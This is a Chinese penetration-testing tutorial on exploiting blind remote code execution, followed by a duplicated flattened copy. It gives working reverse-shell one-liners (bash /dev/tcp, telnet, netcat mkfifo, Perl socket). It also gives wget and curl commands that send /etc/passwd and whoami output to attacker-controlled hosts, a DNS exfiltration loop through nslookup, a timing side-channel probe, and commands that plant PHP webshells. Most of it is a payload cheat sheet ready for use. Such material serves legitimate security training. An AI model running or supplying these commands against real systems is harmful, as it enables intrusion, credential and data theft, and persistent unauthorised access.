渗透测试之RCE无回显利用方式
字数 1689 2025-08-10 08:28:00

渗透测试之RCE无回显利用方式详解

前言

在渗透测试过程中,经常会遇到RCE(远程代码执行)漏洞没有回显的情况,即无法直接在页面上看到命令执行的结果。本文将详细介绍几种常见的无回显RCE利用方式,帮助安全研究人员在这种情况下有效获取执行结果。

一、反弹Shell技术

反弹Shell是最常见的无回显RCE利用方式,通过将目标系统的Shell会话反弹到攻击者控制的服务器上。

Linux系统反弹Shell方法

  1. Bash反弹

    • 攻击者监听端口:nc -lvp 7777
    • 目标执行命令:bash -i >& /dev/tcp/IP/7777 0>&1
  2. Telnet反弹

    • 攻击者监听两个端口:nc -lvvp 4444nc -lvvp 5555
    • 目标执行命令:telnet IP 4444 | /bin/bash | telnet IP 5555
  3. Netcat反弹

    • 攻击者监听端口:nc -lvvp 4444
    • 目标执行命令:rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc IP 4444 >/tmp/f
  4. Perl反弹

    • 攻击者监听端口:nc -lvvp 4444
    • 目标执行命令:
      perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
      

Windows系统反弹Shell

Windows系统反弹Shell方法较为复杂,可参考:FreeBuf文章

二、HTTP请求外带数据

当目标系统允许HTTP协议访问外网时,可以通过HTTP请求将命令执行结果外带。

使用wget外带数据

wget --header="User-Agent: $(cat /etc/passwd | xargs echo)" http://xxxx.burpcollaborator.net

此方法将/etc/passwd文件内容通过HTTP请求的User-Agent头发送到攻击者控制的服务器。

使用curl外带数据

curl http://attacker-server.com/$(whoami)

三、DNSlog外带数据

当目标系统不允许HTTP协议但允许DNS协议时,可以使用DNSlog外带数据。

Linux系统DNS外带

var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.402c35vpn9hpplp9ilj09pxx9ofe33.burpcollaborator.net; done

Windows系统DNS外带

可以使用系统环境变量外带信息:

nslookup %USERNAME%.dnslog.com

常用Windows环境变量:

  • %ALLUSERSPROFILE% - 返回"所有用户"配置文件位置
  • %APPDATA% - 返回应用程序默认数据存储位置
  • %COMPUTERNAME% - 返回计算机名称
  • %USERNAME% - 返回当前登录用户名
  • %USERDOMAIN% - 返回用户帐户所在域名
  • %SYSTEMROOT% - 返回系统根目录位置

四、页面返回时间判断

通过命令执行影响页面响应时间来判断命令是否执行成功。

示例:

?cmd=if [$(whoami|base32|cut -c 1)=O];then sleep 10;fi

此命令会检查当前用户名的第一个字符是否为'O',如果是则休眠10秒,通过页面响应时间可以判断条件是否成立。

五、盲写Webshell

当无法通过其他方式获取回显时,可以尝试盲写Webshell。

Linux系统盲写Webshell

for i in `find /var -name "flag.png"`; do echo "<?php system($_GET['cmd']);?>" >`realpath $i`flag.php; done

Windows系统盲写Webshell

for /r C:\ %i in (flag.png) do @echo "<?php system($_GET['cmd']);?>" > %i.php

关键点

  1. 需要找到一个已知存在的静态文件(如flag.png)
  2. 通过查找该文件确定可写目录
  3. 在相同目录下写入Webshell

六、其他利用方式

  1. ICMP协议外带:通过ping命令将数据编码在ICMP包中外带
  2. SMTP协议外带:通过邮件发送命令执行结果
  3. SMB协议外带:通过SMB协议将数据发送到攻击者控制的服务器

总结

方法 适用场景 优点 缺点
反弹Shell 目标可出网 交互式操作 需要公网服务器
HTTP外带 允许HTTP出站 可带出大量数据 可能被防火墙拦截
DNS外带 严格网络限制 通常允许DNS查询 数据量有限
时间盲注 完全无回显 不需要出网 效率低,易误判
盲写Webshell 有Web目录写权限 获得持久访问 需要知道可写路径

在实际渗透测试中,应根据目标环境选择最合适的利用方式,通常优先尝试反弹Shell和DNS外带方法。

参考链接

  1. FreeBuf反弹Shell文章
  2. Windows反弹Shell方法
渗透测试之RCE无回显利用方式详解 前言 在渗透测试过程中,经常会遇到RCE(远程代码执行)漏洞没有回显的情况,即无法直接在页面上看到命令执行的结果。本文将详细介绍几种常见的无回显RCE利用方式,帮助安全研究人员在这种情况下有效获取执行结果。 一、反弹Shell技术 反弹Shell是最常见的无回显RCE利用方式,通过将目标系统的Shell会话反弹到攻击者控制的服务器上。 Linux系统反弹Shell方法 Bash反弹 攻击者监听端口: nc -lvp 7777 目标执行命令: bash -i >& /dev/tcp/IP/7777 0>&1 Telnet反弹 攻击者监听两个端口: nc -lvvp 4444 和 nc -lvvp 5555 目标执行命令: telnet IP 4444 | /bin/bash | telnet IP 5555 Netcat反弹 攻击者监听端口: nc -lvvp 4444 目标执行命令: rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc IP 4444 >/tmp/f Perl反弹 攻击者监听端口: nc -lvvp 4444 目标执行命令: Windows系统反弹Shell Windows系统反弹Shell方法较为复杂,可参考: FreeBuf文章 二、HTTP请求外带数据 当目标系统允许HTTP协议访问外网时,可以通过HTTP请求将命令执行结果外带。 使用wget外带数据 此方法将 /etc/passwd 文件内容通过HTTP请求的User-Agent头发送到攻击者控制的服务器。 使用curl外带数据 三、DNSlog外带数据 当目标系统不允许HTTP协议但允许DNS协议时,可以使用DNSlog外带数据。 Linux系统DNS外带 Windows系统DNS外带 可以使用系统环境变量外带信息: 常用Windows环境变量: %ALLUSERSPROFILE% - 返回"所有用户"配置文件位置 %APPDATA% - 返回应用程序默认数据存储位置 %COMPUTERNAME% - 返回计算机名称 %USERNAME% - 返回当前登录用户名 %USERDOMAIN% - 返回用户帐户所在域名 %SYSTEMROOT% - 返回系统根目录位置 四、页面返回时间判断 通过命令执行影响页面响应时间来判断命令是否执行成功。 示例: 此命令会检查当前用户名的第一个字符是否为'O',如果是则休眠10秒,通过页面响应时间可以判断条件是否成立。 五、盲写Webshell 当无法通过其他方式获取回显时,可以尝试盲写Webshell。 Linux系统盲写Webshell Windows系统盲写Webshell 关键点 : 需要找到一个已知存在的静态文件(如flag.png) 通过查找该文件确定可写目录 在相同目录下写入Webshell 六、其他利用方式 ICMP协议外带 :通过ping命令将数据编码在ICMP包中外带 SMTP协议外带 :通过邮件发送命令执行结果 SMB协议外带 :通过SMB协议将数据发送到攻击者控制的服务器 总结 | 方法 | 适用场景 | 优点 | 缺点 | |------|----------|------|------| | 反弹Shell | 目标可出网 | 交互式操作 | 需要公网服务器 | | HTTP外带 | 允许HTTP出站 | 可带出大量数据 | 可能被防火墙拦截 | | DNS外带 | 严格网络限制 | 通常允许DNS查询 | 数据量有限 | | 时间盲注 | 完全无回显 | 不需要出网 | 效率低,易误判 | | 盲写Webshell | 有Web目录写权限 | 获得持久访问 | 需要知道可写路径 | 在实际渗透测试中,应根据目标环境选择最合适的利用方式,通常优先尝试反弹Shell和DNS外带方法。 参考链接 FreeBuf反弹Shell文章 Windows反弹Shell方法